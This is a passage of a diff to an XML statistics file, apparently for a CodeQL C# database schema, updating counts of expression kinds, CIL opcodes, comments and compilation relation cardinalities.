<k>@unknown_expr</k> @@ -793,59 +797,59 @@ </e> <e> <k>@throw_expr</k> -<v>1544</v> +<v>1529</v> </e> <e> <k>@tuple_expr</k> -<v>1478</v> +<v>1450</v> </e> <e> <k>@local_function_invocation_expr</k> -<v>7490</v> +<v>7489</v> </e> <e> <k>@ref_expr</k> -<v>563</v> +<v>460</v> </e> <e> <k>@discard_expr</k> -<v>909</v> +<v>902</v> </e> <e> <k>@range_expr</k> -<v>32</v> +<v>33</v> </e> <e> <k>@index_expr</k> -<v>46</v> +<v>47</v> </e> <e> <k>@switch_expr</k> -<v>518</v> +<v>509</v> </e> <e> <k>@recursive_pattern_expr</k> -<v>1014</v> +<v>1004</v> </e> <e> <k>@property_pattern_expr</k> -<v>831</v> +<v>829</v> </e> <e> <k>@positional_pattern_expr</k> -<v>180</v> +<v>172</v> </e> <e> <k>@switch_case_expr</k> -<v>4355</v> +<v>4342</v> </e> <e> <k>@assign_coalesce_expr</k> -<v>544</v> +<v>545</v> </e> <e> <k>@suppress_nullable_warning_expr</k> -<v>14413</v> +<v>13875</v> </e> <e> <k>@namespace_access_expr</k> @@ -869,7 +873,11 @@ </e> <e> <k>@not_pattern_expr</k> -<v>74</v> +<v>70</v> +</e> +<e> +<k>@function_pointer_invocation_expr</k> +<v>4</v> </e> <e> <k>@xmldtd</k> @@ -897,19 +905,19 @@ </e> <e> <k>@singlelinecomment</k> -<v>184816</v> +<v>188909</v> </e> <e> <k>@multilinecomment</k> -<v>22119</v> +<v>22609</v> </e> <e> <k>@xmldoccomment</k> -<v>203819</v> +<v>208332</v> </e> <e> <k>@commentblock</k> -<v>144374</v> +<v>147571</v> </e> <e> <k>@asp_close_tag</k> @@ -949,7 +957,7 @@ </e> <e> <k>@cil_nop</k> -<v>820695</v> +<v>838867</v> </e> <e> <k>@cil_break</k> @@ -957,147 +965,147 @@ </e> <e> <k>@cil_ldarg_0</k> -<v>3978359</v> +<v>3961775</v> </e> <e> <k>@cil_ldarg_1</k> -<v>1217617</v> +<v>1212541</v> </e> <e> <k>@cil_ldarg_2</k> -<v>444226</v> +<v>442374</v> </e> <e> <k>@cil_ldarg_3</k> -<v>209329</v> +<v>208456</v> </e> <e> <k>@cil_ldloc_0</k> -<v>929987</v> +<v>926110</v> </e> <e> <k>@cil_ldloc_1</k> -<v>494313</v> +<v>492252</v> </e> <e> <k>@cil_ldloc_2</k> -<v>288947</v> +<v>287743</v> </e> <e> <k>@cil_ldloc_3</k> -<v>192210</v> +<v>191409</v> </e> <e> <k>@cil_stloc_0</k> -<v>525377</v> +<v>523187</v> </e> <e> <k>@cil_stloc_1</k> -<v>260714</v> +<v>259627</v> </e> <e> <k>@cil_stloc_2</k> -<v>198468</v> +<v>197640</v> </e> <e> <k>@cil_stloc_3</k> -<v>138408</v> +<v>137831</v> </e> <e> <k>@cil_ldarg_s</k> -<v>264726</v> +<v>263623</v> </e> <e> <k>@cil_ldarga_s</k> -<v>74830</v> +<v>74518</v> </e> <e> <k>@cil_starg_s</k> -<v>37205</v> +<v>37050</v> </e> <e> <k>@cil_ldloc_s</k> -<v>686918</v> +<v>684055</v> </e> <e> <k>@cil_ldloca_s</k> -<v>629749</v> +<v>627124</v> </e> <e> <k>@cil_stloc_s</k> -<v>481231</v> +<v>479225</v> </e> <e> <k>@cil_ldnull</k> -<v>604205</v> +<v>601686</v> </e> <e> <k>@cil_ldc_i4_m1</k> -<v>126303</v> +<v>125776</v> </e> <e> <k>@cil_ldc_i4_0</k> -<v>626088</v> +<v>623478</v> </e> <e> <k>@cil_ldc_i4_1</k> -<v>495055</v> +<v>492991</v> </e> <e> <k>@cil_ldc_i4_2</k> -<v>121129</v> +<v>120624</v> </e> <e> <k>@cil_ldc_i4_3</k> -<v>64203</v> +<v>63935</v> </e> <e> <k>@cil_ldc_i4_4</k> -<v>58926</v> +<v>58681</v> </e> <e> <k>@cil_ldc_i4_5</k> -<v>38713</v> +<v>38552</v> </e> <e> <k>@cil_ldc_i4_6</k> -<v>23283</v> +<v>23186</v> </e> <e> <k>@cil_ldc_i4_7</k> -<v>20769</v> +<v>20683</v> </e> <e> <k>@cil_ldc_i4_8</k> -<v>33510</v> +<v>33370</v> </e> <e> <k>@cil_ldc_i4_s</k> -<v>423676</v> +<v>421909</v> </e> <e> <k>@cil_ldc_i4</k> -<v>511265</v> +<v>509134</v> </e> <e> <k>@cil_ldc_i8</k> -<v>4891</v> +<v>4870</v> </e> <e> <k>@cil_ldc_r4</k> -<v>10270</v> +<v>10227</v> </e> <e> <k>@cil_ldc_r8</k> -<v>10338</v> +<v>10295</v> </e> <e> <k>@cil_dup</k> -<v>842871</v> +<v>839357</v> </e> <e> <k>@cil_pop</k> -<v>256672</v> +<v>255602</v> </e> <e> <k>@cil_jmp</k> @@ -1105,7 +1113,7 @@ </e> <e> <k>@cil_call</k> -<v>2744029</v> +<v>2732590</v> </e> <e> <k>@cil_calli</k> @@ -1113,283 +1121,283 @@ </e> <e> <k>@cil_ret</k> -<v>1788117</v> +<v>1780663</v> </e> <e> <k>@cil_br_s</k> -<v>346141</v> +<v>344698</v> </e> <e> <k>@cil_brfalse_s</k> -<v>466401</v> +<v>464457</v> </e> <e> <k>@cil_brtrue_s</k> -<v>431110</v> +<v>429313</v> </e> <e> <k>@cil_beq_s</k> -<v>82337</v> +<v>81994</v> </e> <e> <k>@cil_bge_s</k> -<v>34959</v> +<v>34814</v> </e> <e> <k>@cil_bgt_s</k> -<v>16513</v> +<v>16444</v> </e> <e> <k>@cil_ble_s</k> -<v>29229</v> +<v>29107</v> </e> <e> <k>@cil_blt_s</k> -<v>60991</v> +<v>60737</v> </e> <e> <k>@cil_bne_un_s</k> -<v>102755</v> +<v>102327</v> </e> <e> <k>@cil_bge_un_s</k> -<v>2186</v> +<v>2177</v> </e> <e> <k>@cil_bgt_un_s</k> -<v>8742</v> +<v>8705</v> </e> <e> <k>@cil_ble_un_s</k> -<v>6126</v> +<v>6100</v> </e> <e> <k>@cil_blt_un_s</k> -<v>1469</v> +<v>1463</v> </e> <e> <k>@cil_br</k> -<v>96249</v> +<v>95847</v> </e> <e> <k>@cil_brfalse</k> -<v>32426</v> +<v>32291</v> </e> <e> <k>@cil_brtrue</k> -<v>27359</v> +<v>27245</v> </e> <e> <k>@cil_beq</k> -<v>21531</v> +<v>21441</v> </e> <e> <k>@cil_bge</k> -<v>1391</v> +<v>1385</v> </e> <e> <k>@cil_bgt</k> -<v>1464</v> +<v>1458</v> </e> <e> <k>@cil_ble</k> -<v>4646</v> +<v>4627</v> </e> <e> <k>@cil_blt</k> -<v>7941</v> +<v>7908</v> </e> <e> <k>@cil_bne_un</k> -<v>7243</v> +<v>7213</v> </e> <e> <k>@cil_bge_un</k> -<v>140</v> +<v>143</v> </e> <e> <k>@cil_bgt_un</k> -<v>693</v> +<v>690</v> </e> <e> <k>@cil_ble_un</k> -<v>1103</v> +<v>1098</v> </e> <e> <k>@cil_blt_un</k> -<v>180</v> +<v>179</v> </e> <e> <k>@cil_switch</k> -<v>23903</v> +<v>23804</v> </e> <e> <k>@cil_ldind_i1</k> -<v>86</v> +<v>88</v> </e> <e> <k>@cil_ldind_u1</k> -<v>5515</v> +<v>5492</v> </e> <e> <k>@cil_ldind_i2</k> -<v>512</v> +<v>510</v> </e> <e> <k>@cil_ldind_u2</k> -<v>2446</v> +<v>2500</v> </e> <e> <k>@cil_ldind_i4</k> -<v>9786</v> +<v>9746</v> </e> <e> <k>@cil_ldind_u4</k> -<v>1483</v> +<v>1477</v> </e> <e> <k>@cil_ldind_i8</k> -<v>1972</v> +<v>1963</v> </e> <e> <k>@cil_ldind_i</k> -<v>244</v> +<v>250</v> </e> <e> <k>@cil_ldind_r4</k> -<v>702</v> +<v>699</v> </e> <e> <k>@cil_ldind_r8</k> -<v>263</v> +<v>262</v> </e> <e> <k>@cil_ldind_ref</k> -<v>6662</v> +<v>6635</v> </e> <e> <k>@cil_stind_ref</k> -<v>16952</v> +<v>16882</v> </e> <e> <k>@cil_stind_i1</k> -<v>8532</v> +<v>8496</v> </e> <e> <k>@cil_stind_i2</k> -<v>1377</v> +<v>1407</v> </e> <e> <k>@cil_stind_i4</k> -<v>10372</v> +<v>10329</v> </e> <e> <k>@cil_stind_i8</k> -<v>2347</v> -</e> -<e> -<k>@cil_stind_r4</k> -<v>185</v> -</e> -<e> -<k>@cil_stind_r8</k> -<v>224</v> -</e> -<e> -<k>@cil_add</k> -<v>224202</v> -</e> -<e> -<k>@cil_sub</k> -<v>85368</v> -</e> -<e> -<k>@cil_mul</k> -<v>29980</v> -</e> -<e> -<k>@cil_div</k> -<v>9132</v> -</e> -<e> -<k>@cil_div_un</k> -<v>253</v> -</e> -<e> -<k>@cil_rem</k> -<v>3412</v> -</e> -<e> -<k>@cil_rem_un</k> -<v>229</v> -</e> -<e> -<k>@cil_and</k> -<v>59395</v> -</e> -<e> -<k>@cil_or</k> -<v>22170</v> -</e> -<e> -<k>@cil_xor</k> -<v>22737</v> -</e> -<e> -<k>@cil_shl</k> -<v>18988</v> -</e> -<e> -<k>@cil_shr</k> -<v>9186</v> -</e> -<e> -<k>@cil_shr_un</k> -<v>26134</v> -</e> -<e> -<k>@cil_neg</k> <v>2338</v> </e> <e> +<k>@cil_stind_r4</k> +<v>184</v> +</e> +<e> +<k>@cil_stind_r8</k> +<v>223</v> +</e> +<e> +<k>@cil_add</k> +<v>223267</v> +</e> +<e> +<k>@cil_sub</k> +<v>85012</v> +</e> +<e> +<k>@cil_mul</k> +<v>29855</v> +</e> +<e> +<k>@cil_div</k> +<v>9094</v> +</e> +<e> +<k>@cil_div_un</k> +<v>252</v> +</e> +<e> +<k>@cil_rem</k> +<v>3397</v> +</e> +<e> +<k>@cil_rem_un</k> +<v>228</v> +</e> +<e> +<k>@cil_and</k> +<v>59147</v> +</e> +<e> +<k>@cil_or</k> +<v>22078</v> +</e> +<e> +<k>@cil_xor</k> +<v>22642</v> +</e> +<e> +<k>@cil_shl</k> +<v>18909</v> +</e> +<e> +<k>@cil_shr</k> +<v>9148</v> +</e> +<e> +<k>@cil_shr_un</k> +<v>26025</v> +</e> +<e> +<k>@cil_neg</k> +<v>2328</v> +</e> +<e> <k>@cil_not</k> -<v>1459</v> +<v>1453</v> </e> <e> <k>@cil_conv_i1</k> -<v>1386</v> +<v>1380</v> </e> <e> <k>@cil_conv_i2</k> -<v>1449</v> +<v>1443</v> </e> <e> <k>@cil_conv_i4</k> -<v>59839</v> +<v>59590</v> </e> <e> <k>@cil_conv_i8</k> -<v>50340</v> +<v>50130</v> </e> <e> <k>@cil_conv_r4</k> -<v>2469</v> +<v>2459</v> </e> <e> <k>@cil_conv_r8</k> -<v>5286</v> +<v>5264</v> </e> <e> <k>@cil_conv_u4</k> -<v>7839</v> +<v>7806</v> </e> <e> <k>@cil_conv_u8</k> -<v>19564</v> +<v>19482</v> </e> <e> <k>@cil_callvirt</k> -<v>2052492</v> +<v>2043936</v> </e> <e> <k>@cil_cpobj</k> @@ -1397,27 +1405,27 @@ </e> <e> <k>@cil_ldobj</k> -<v>12666</v> +<v>12614</v> </e> <e> <k>@cil_ldstr</k> -<v>927688</v> +<v>923821</v> </e> <e> <k>@cil_newobj</k> -<v>657738</v> +<v>654996</v> </e> <e> <k>@cil_castclass</k> -<v>97166</v> +<v>96761</v> </e> <e> <k>@cil_isinst</k> -<v>56505</v> +<v>56270</v> </e> <e> <k>@cil_conv_r_un</k> -<v>263</v> +<v>262</v> </e> <e> <k>@cil_unbox</k> @@ -1425,35 +1433,35 @@ </e> <e> <k>@cil_throw</k> -<v>381613</v> +<v>380023</v> </e> <e> <k>@cil_ldfld</k> -<v>1678400</v> +<v>1671404</v> </e> <e> <k>@cil_ldflda</k> -<v>301009</v> +<v>299754</v> </e> <e> <k>@cil_stfld</k> -<v>1074185</v> +<v>1069707</v> </e> <e> <k>@cil_ldsfld</k> -<v>407753</v> +<v>406053</v> </e> <e> <k>@cil_ldsflda</k> -<v>2533</v> +<v>2522</v> </e> <e> <k>@cil_stsfld</k> -<v>131052</v> +<v>130506</v> </e> <e> <k>@cil_stobj</k> -<v>7029</v> +<v>6999</v> </e> <e> <k>@cil_conv_ovf_i1_un</k> @@ -1497,47 +1505,47 @@ </e> <e> <k>@cil_box</k> -<v>79921</v> +<v>79588</v> </e> <e> <k>@cil_newarr</k> -<v>112225</v> +<v>111757</v> </e> <e> <k>@cil_ldlen</k> -<v>55387</v> +<v>55157</v> </e> <e> <k>@cil_ldelema</k> -<v>9879</v> +<v>9838</v> </e> <e> <k>@cil_ldelem_i1</k> -<v>175</v> +<v>174</v> </e> <e> <k>@cil_ldelem_u1</k> -<v>15590</v> +<v>15525</v> </e> <e> <k>@cil_ldelem_i2</k> -<v>429</v> +<v>427</v> </e> <e> <k>@cil_ldelem_u2</k> -<v>6096</v> +<v>6071</v> </e> <e> <k>@cil_ldelem_i4</k> -<v>17601</v> +<v>17528</v> </e> <e> <k>@cil_ldelem_u4</k> -<v>19134</v> +<v>19054</v> </e> <e> <k>@cil_ldelem_i8</k> -<v>11934</v> +<v>11884</v> </e> <e> <k>@cil_ldelem_i</k> @@ -1545,15 +1553,15 @@ </e> <e> <k>@cil_ldelem_r4</k> -<v>283</v> +<v>281</v> </e> <e> <k>@cil_ldelem_r8</k> -<v>458</v> +<v>456</v> </e> <e> <k>@cil_ldelem_ref</k> -<v>30732</v> +<v>30604</v> </e> <e> <k>@cil_stelem_i</k> @@ -1561,43 +1569,43 @@ </e> <e> <k>@cil_stelem_i1</k> -<v>8800</v> +<v>8764</v> </e> <e> <k>@cil_stelem_i2</k> -<v>8996</v> +<v>8958</v> </e> <e> <k>@cil_stelem_i4</k> -<v>22849</v> +<v>22754</v> </e> <e> <k>@cil_stelem_i8</k> -<v>9435</v> +<v>9396</v> </e> <e> <k>@cil_stelem_r4</k> -<v>200</v> +<v>199</v> </e> <e> <k>@cil_stelem_r8</k> -<v>478</v> +<v>476</v> </e> <e> <k>@cil_stelem_ref</k> -<v>363318</v> +<v>361804</v> </e> <e> <k>@cil_ldelem</k> -<v>2279</v> +<v>2270</v> </e> <e> <k>@cil_stelem</k> -<v>53674</v> +<v>53450</v> </e> <e> <k>@cil_unbox_any</k> -<v>14404</v> +<v>14344</v> </e> <e> <k>@cil_conv_ovf_i1</k> @@ -1605,11 +1613,11 @@ </e> <e> <k>@cil_conv_ovf_u1</k> -<v>112</v> +<v>111</v> </e> <e> <k>@cil_conv_ovf_i2</k> -<v>78</v> +<v>77</v> </e> <e> <k>@cil_conv_ovf_u2</k> @@ -1617,11 +1625,11 @@ </e> <e> <k>@cil_conv_ovf_i4</k> -<v>287</v> +<v>286</v> </e> <e> <k>@cil_conv_ovf_u4</k> -<v>78</v> +<v>77</v> </e> <e> <k>@cil_conv_ovf_i8</k> @@ -1645,23 +1653,23 @@ </e> <e> <k>@cil_ldtoken</k> -<v>71388</v> +<v>71091</v> </e> <e> <k>@cil_conv_u2</k> -<v>4344</v> +<v>4326</v> </e> <e> <k>@cil_conv_u1</k> -<v>11270</v> +<v>11223</v> </e> <e> <k>@cil_conv_i</k> -<v>3665</v> +<v>3747</v> </e> <e> <k>@cil_conv_ovf_i</k> -<v>268</v> +<v>267</v> </e> <e> <k>@cil_conv_ovf_u</k> @@ -1669,23 +1677,23 @@ </e> <e> <k>@cil_add_ovf</k> -<v>1732</v> +<v>1725</v> </e> <e> <k>@cil_add_ovf_un</k> -<v>151</v> +<v>150</v> </e> <e> <k>@cil_mul_ovf</k> -<v>444</v> +<v>442</v> </e> <e> <k>@cil_mul_ovf_un</k> -<v>253</v> +<v>252</v> </e> <e> <k>@cil_sub_ovf</k> -<v>1112</v> +<v>1108</v> </e> <e> <k>@cil_sub_ovf_un</k> @@ -1693,23 +1701,23 @@ </e> <e> <k>@cil_endfinally</k> -<v>56959</v> +<v>56722</v> </e> <e> <k>@cil_leave</k> -<v>66932</v> +<v>66653</v> </e> <e> <k>@cil_leave_s</k> -<v>149499</v> +<v>148875</v> </e> <e> <k>@cil_stind_i</k> -<v>125</v> +<v>128</v> </e> <e> <k>@cil_conv_u</k> -<v>5814</v> +<v>5942</v> </e> <e> <k>@cil_arglist</k> @@ -1717,31 +1725,31 @@ </e> <e> <k>@cil_ceq</k> -<v>97066</v> +<v>99216</v> </e> <e> <k>@cil_cgt</k> -<v>11578</v> +<v>11834</v> </e> <e> <k>@cil_cgt_un</k> -<v>36744</v> +<v>37558</v> </e> <e> <k>@cil_clt</k> -<v>19540</v> +<v>19973</v> </e> <e> <k>@cil_clt_un</k> -<v>1315</v> +<v>1344</v> </e> <e> <k>@cil_ldftn</k> -<v>80014</v> +<v>79680</v> </e> <e> <k>@cil_ldvirtftn</k> -<v>1112</v> +<v>1108</v> </e> <e> <k>@cil_ldarg</k> @@ -1769,11 +1777,11 @@ </e> <e> <k>@cil_localloc</k> -<v>979</v> +<v>1000</v> </e> <e> <k>@cil_endfilter</k> -<v>810</v> +<v>806</v> </e> <e> <k>@cil_unaligned</k> @@ -1781,7 +1789,7 @@ </e> <e> <k>@cil_volatile</k> -<v>8547</v> +<v>8511</v> </e> <e> <k>@cil_tail</k> @@ -1789,11 +1797,11 @@ </e> <e> <k>@cil_initobj</k> -<v>101882</v> +<v>101457</v> </e> <e> <k>@cil_constrained</k> -<v>25338</v> +<v>25233</v> </e> <e> <k>@cil_cpblk</k> @@ -1805,11 +1813,11 @@ </e> <e> <k>@cil_rethrow</k> -<v>3773</v> +<v>3757</v> </e> <e> <k>@cil_sizeof</k> -<v>1732</v> +<v>1725</v> </e> <e> <k>@cil_refanytype</k> @@ -1821,80 +1829,80 @@ </e> <e> <k>@cil_valueorreftype</k> -<v>596517</v> +<v>594030</v> </e> <e> <k>@cil_typeparameter</k> -<v>185156</v> +<v>184385</v> </e> <e> <k>@cil_array_type</k> -<v>14199</v> +<v>14140</v> </e> <e> <k>@cil_pointer_type</k> -<v>624</v> +<v>622</v> </e> <e> <k>@cil_method</k> -<v>2316799</v> +<v>2307141</v> </e> <e> <k>@cil_method_implementation</k> -<v>1729473</v> +<v>1722264</v> </e> <e> <k>@cil_field</k> -<v>1010513</v> +<v>1006301</v> </e> <e> <k>@cil_parameter</k> -<v>4556386</v> +<v>4537393</v> </e> <e> <k>@cil_property</k> -<v>380725</v> +<v>379138</v> </e> <e> <k>@cil_event</k> -<v>20887</v> +<v>20799</v> </e> <e> <k>@cil_local_variable</k> -<v>1153120</v> +<v>1148313</v> </e> <e> <k>@cil_catch_handler</k> -<v>43902</v> +<v>43719</v> </e> <e> <k>@cil_filter_handler</k> -<v>810</v> +<v>806</v> </e> <e> <k>@cil_finally_handler</k> -<v>55485</v> +<v>55254</v> </e> <e> <k>@cil_fault_handler</k> -<v>1474</v> +<v>1468</v> </e> <e> <k>@cil_attribute</k> -<v>328979</v> +<v>327607</v> </e> </typesizes> <stats><relation> <name>compilations</name> -<cardinality>1098</cardinality> +<cardinality>1093</cardinality> <columnsizes> <e> <k>id</k> -<v>1098</v> +<v>1093</v> </e> <e> <k>cwd</k> -<v>785</v> +<v>782</v> </e> </columnsizes> <dependencies> @@ -1908,7 +1916,7 @@ <b> <a>1</a> <b>2</b> -<v>1098</v> +<v>1093</v> </b> </bs> </hist> @@ -1924,12 +1932,12 @@ <b> <a>1</a> <b>2</b> -<v>473</v> +<v>471</v> </b> <b> <a>2</a> <b>3</b> -<v>312</v> +<v>311</v> </b> </bs> </hist> @@ -1939,11 +1947,11 @@ </relation> <relation> <name>compilation_args</name> -<cardinality>4627</cardinality> +<cardinality>4472</cardinality> <columnsizes> <e> <k>id</k> -<v>1098</v> +<v>1093</v> </e> <e> <k>num</k> @@ -1951,7 +1959,7 @@ </e> <e> <k>arg</k> -<v>1122</v> +<v>1118</v> </e> </columnsizes> <dependencies> @@ -1965,12 +1973,12 @@ <b> <a>4</a> <b>5</b> -<v>863</v> +<v>996</v> </b> <b> <a>5</a> <b>6</b> -<v>234</v> +<v>97</v> </b> </bs> </hist> @@ -1986,12 +1994,12 @@ <b> <a>4</a> <b>5</b> -<v>863</v> +<v>996</v> </b> <b> <a>5</a> <b>6</b> -<v>234</v> +<v>97</v> </b> </bs> </hist> @@ -2005,8 +2013,8 @@ <budget>12</budget> <bs> <b> -<a>48</a> -<b>49</b> +<a>20</a> +<b>21</b> <v>4</v> </b> <b> @@ -2031,13 +2039,13 @@ <v>14</v> </b> <b> -<a>48</a> -<b>49</b> +<a>20</a> +<b>21</b> <v>4</v> </b> <b> -<a>178</a> -<b>179</b> +<a>206</a> +<b>207</b> <v>4</v> </b> </bs> @@ -2054,10 +2062,10 @@ <b> <a>1</a> <b>2</b> -<v>1098</v> +<v>1093</v> </b> <b> -<a>48</a> +<a>20</a> <b>226</b> <v>24</v> </b> @@ -2075,7 +2083,7 @@ <b> <a>1</a> <b>2</b> -<v>1112</v> +<v>1108</v> </b> <b> <a>2</a> @@ -2090,19 +2098,19 @@ </relation> <relation> <name>compilation_compiling_files</name> -<cardinality>22634</cardinality> +<cardinality>22540</cardinality> <columnsizes> <e> <k>id</k> -<v>1098</v> +<v>1093</v> </e> <e> <k>num</k> -<v>712</v> +<v>709</v> </e> <e> <k>file</k> -<v>22629</v> +<v>22535</v> </e> </columnsizes> <dependencies> @@ -2308,7 +2316,7 @@ <b> <a>11</a> <b>12</b> -<v>78</v> +<v>77</v> </b> <b> <a>12</a> @@ -2389,7 +2397,7 @@ <b> <a>11</a> <b>12</b> -<v>78</v> +<v>77</v> </b> <b> <a>12</a> @@ -2440,7 +2448,7 @@ <b> <a>1</a> <b>2</b> -<v>22624</v> +<v>22530</v> </b> <b> <a>2</a> @@ -2461,7 +2469,7 @@ <b> <a>1</a> <b>2</b> -<v>22624</v> +<v>22530</v> </b> <b> <a>2</a> @@ -2476,19 +2484,19 @@ </relation> <relation> <name>compilation_referencing_files</name> -<cardinality>360048</cardinality> +<cardinality>358547</cardinality> <columnsizes> <e> <k>id</k> -<v>1098</v> +<v>1093</v> </e> <e> <k>num</k> -<v>2748</v> +<v>2736</v> </e> <e> <k>file</k> -<v>3421</v> +<v>3407</v> </e> </columnsizes> <dependencies> @@ -2532,7 +2540,7 @@ <b> <a>328</a> <b>344</b> -<v>73</v> +<v>72</v> </b> <b> <a>344</a> @@ -2562,7 +2570,7 @@ <b> <a>369</a> <b>564</b> -<v>39</v> +<v>38</v> </b> </bs> </hist> @@ -2608,7 +2616,7 @@ <b> <a>328</a> <b>344</b> -<v>73</v> +<v>72</v> </b> <b> <a>344</a> @@ -2638,7 +2646,7 @@ <b> <a>369</a> <b>564</b> -<v>39</v> +<v>38</v> </b> </bs> </hist> @@ -2654,7 +2662,7 @@ <b> <a>1</a> <b>4</b> -<v>219</v> +<v>218</v> </b> <b> <a>4</a> @@ -2664,27 +2672,27 @@ <b> <a>7</a> <b>8</b> -<v>698</v> +<v>695</v> </b> <b> <a>8</a> <b>118</b> -<v>219</v> +<v>218</v> </b> <b> <a>118</a> <b>214</b> -<v>205</v> +<v>204</v> </b> <b> <a>222</a> <b>223</b> -<v>639</v> +<v>636</v> </b> <b> <a>224</a> <b>225</b> -<v>712</v> +<v>709</v> </b> <b> <a>225</a> @@ -2705,62 +2713,62 @@ <b> <a>1</a> <b>4</b> -<v>219</v> +<v>218</v> </b> <b> <a>4</a> <b>6</b> -<v>39</v> +<v>126</v> </b> <b> <a>6</a> <b>7</b> -<v>629</v> +<v>578</v> </b> <b> <a>7</a> <b>20</b> -<v>205</v> +<v>233</v> </b> <b> <a>20</a> -<b>24</b> -<v>209</v> +<b>25</b> +<v>233</v> </b> <b> -<a>24</a> +<a>25</a> <b>30</b> -<v>205</v> +<v>228</v> </b> <b> <a>30</a> -<b>34</b> -<v>253</v> +<b>37</b> +<v>209</v> </b> <b> -<a>34</a> -<b>46</b> -<v>214</v> +<a>37</a> +<b>48</b> +<v>209</v> </b> <b> -<a>46</a> -<b>57</b> -<v>205</v> +<a>48</a> +<b>58</b> +<v>213</v> </b> <b> -<a>57</a> +<a>58</a> <b>60</b> -<v>180</v> +<v>199</v> </b> <b> <a>60</a> <b>63</b> -<v>239</v> +<v>209</v> </b> <b> <a>63</a> -<b>69</b> -<v>146</v> +<b>67</b> +<v>77</v> </b> </bs> </hist> @@ -2776,12 +2784,12 @@ <b> <a>1</a> <b>2</b> -<v>527</v> +<v>524</v> </b> <b> <a>2</a> <b>5</b> -<v>258</v> +<v>257</v> </b> <b> <a>6</a> @@ -2791,42 +2799,42 @@ <b> <a>7</a> <b>8</b> -<v>317</v> +<v>315</v> </b> <b> <a>8</a> <b>10</b> -<v>278</v> +<v>277</v> </b> <b> <a>10</a> <b>23</b> -<v>258</v> +<v>257</v> </b> <b> <a>23</a> <b>122</b> -<v>258</v> +<v>257</v> </b> <b> <a>124</a> <b>214</b> -<v>244</v> +<v>243</v> </b> <b> <a>220</a> <b>221</b> -<v>73</v> +<v>72</v> </b> <b> <a>222</a> <b>223</b> -<v>483</v> +<v>481</v> </b> <b> <a>224</a> <b>225</b> -<v>717</v> +<v>714</v> </b> </bs> </hist> @@ -2842,62 +2850,62 @@ <b> <a>1</a> <b>2</b> -<v>571</v> +<v>559</v> </b> <b> <a>2</a> <b>5</b> -<v>253</v> +<v>257</v> </b> <b> <a>5</a> <b>6</b> -<v>336</v> +<v>199</v> </b> <b> <a>6</a> -<b>8</b> -<v>297</v> +<b>7</b> +<v>301</v> </b> <b> -<a>8</a> -<b>14</b> -<v>258</v> +<a>7</a> +<b>11</b> +<v>296</v> </b> <b> -<a>14</a> -<b>21</b> -<v>297</v> +<a>11</a> +<b>18</b> +<v>257</v> </b> <b> -<a>21</a> -<b>26</b> -<v>287</v> +<a>18</a> +<b>22</b> +<v>306</v> </b> <b> -<a>26</a> -<b>35</b> -<v>263</v> +<a>22</a> +<b>27</b> +<v>272</v> </b> <b> -<a>35</a> +<a>27</a> +<b>58</b> +<v>277</v> +</b> +<b> +<a>58</a> <b>61</b> -<v>244</v> +<v>272</v> </b> <b> <a>61</a> -<b>64</b> -<v>258</v> +<b>66</b> +<v>311</v> </b> <b> -<a>64</a> -<b>68</b> -<v>278</v> -</b> -<b> -<a>68</a> -<b>72</b> -<v>73</v> +<a>66</a> +<b>71</b> +<v>97</v> </b> </bs> </hist> @@ -2907,11 +2915,11 @@ </relation> <relation> <name>compilation_time</name> -<cardinality>7688</cardinality> +<cardinality>7655</cardinality> <columnsizes> <e> <k>id</k> -<v>1098</v> +<v>1093</v> </e> <e> <k>num</k> @@ -2923,7 +2931,7 @@ </e> <e> <k>seconds</k> -<v>5803</v> +<v>5896</v> </e> </columnsizes> <dependencies> @@ -2937,7 +2945,7 @@ <b> <a>1</a> <b>2</b> -<v>1098</v> +<v>1093</v> </b> </bs> </hist> @@ -2953,7 +2961,7 @@ <b> <a>7</a> <b>8</b> -<v>1098</v> +<v>1093</v> </b> </bs> </hist> @@ -2967,9 +2975,14 @@ <budget>12</budget> <bs> <b> +<a>6</a> +<b>7</b> +<v>9</v> +</b> +<b> <a>7</a> <b>8</b> -<v>1098</v> +<v>1083</v> </b> </bs> </hist> @@ -3015,8 +3028,8 @@ <budget>12</budget> <bs> <b> -<a>1189</a> -<b>1190</b> +<a>1213</a> +<b>1214</b> <v>4</v> </b> </bs> @@ -3063,18 +3076,23 @@ <budget>12</budget> <bs> <b> -<a>177</a> -<b>178</b> -<v>9</v> -</b> -<b> -<a>189</a> -<b>190</b> +<a>168</a> +<b>169</b> <v>4</v> </b> <b> -<a>190</a> -<b>191</b> +<a>176</a> +<b>177</b> +<v>4</v> +</b> +<b> +<a>192</a> +<b>193</b> +<v>4</v> +</b> +<b> +<a>193</a> +<b>194</b> <v>4</v> </b> <b> @@ -3096,17 +3114,22 @@ <b> <a>1</a> <b>2</b> -<v>4539</v> +<v>4807</v> </b> <b> <a>2</a> <b>3</b> -<v>815</v> +<v>612</v> </b> <b> <a>3</a> <b>6</b> -<v>449</v> +<v>461</v> +</b> +<b> +<a>6</a> +<b>9</b> +<v>14</v> </b> </bs> </hist> @@ -3122,7 +3145,7 @@ <b> <a>1</a> <b>2</b> -<v>5803</v> +<v>5896</v> </b> </bs> </hist> @@ -3138,17 +3161,17 @@ <b> <a>1</a> <b>2</b> -<v>4871</v> +<v>5079</v> </b> <b> <a>2</a> <b>3</b> -<v>800</v> +<v>719</v> </b> <b> <a>3</a> <b>5</b> -<v>131</v> +<v>97</v> </b> </bs> </hist> @@ -4419,7 +4442,7 @@ </e> <e> <k>stack_trace</k> -<v>199</v> +<v>210</v> </e> </columnsizes> <dependencies> @@ -4647,8 +4670,8 @@ <v>2</v> </b> <b> -<a>198</a> -<b>199</b> +<a>209</a> +<b>210</b> <v>1</v> </b> </bs> @@ -4743,8 +4766,8 @@ <budget>12</budget> <bs> <b> -<a>199</a> -<b>200</b> +<a>210</a> +<b>211</b> <v>1</v> </b> </bs> @@ -4804,13 +4827,13 @@ <v>1</v> </b> <b> -<a>324</a> -<b>325</b> +<a>326</a> +<b>327</b> <v>1</v> </b> <b> -<a>2413</a> -<b>2414</b> +<a>2411</a> +<b>2412</b> <v>1</v> </b> <b> @@ -4897,13 +4920,13 @@ <v>1</v> </b> <b> -<a>274</a> -<b>275</b> +<a>275</a> +<b>276</b> <v>1</v> </b> <b> -<a>1648</a> -<b>1649</b> +<a>1647</a> +<b>1648</b> <v>1</v> </b> <b> @@ -4958,13 +4981,13 @@ <v>1</v> </b> <b> -<a>324</a> -<b>325</b> +<a>326</a> +<b>327</b> <v>1</v> </b> <b> -<a>2019</a> -<b>2020</b> +<a>2017</a> +<b>2018</b> <v>1</v> </b> <b> @@ -4996,7 +5019,12 @@ <b> <a>3</a> <b>4</b> -<v>2</v> +<v>1</v> 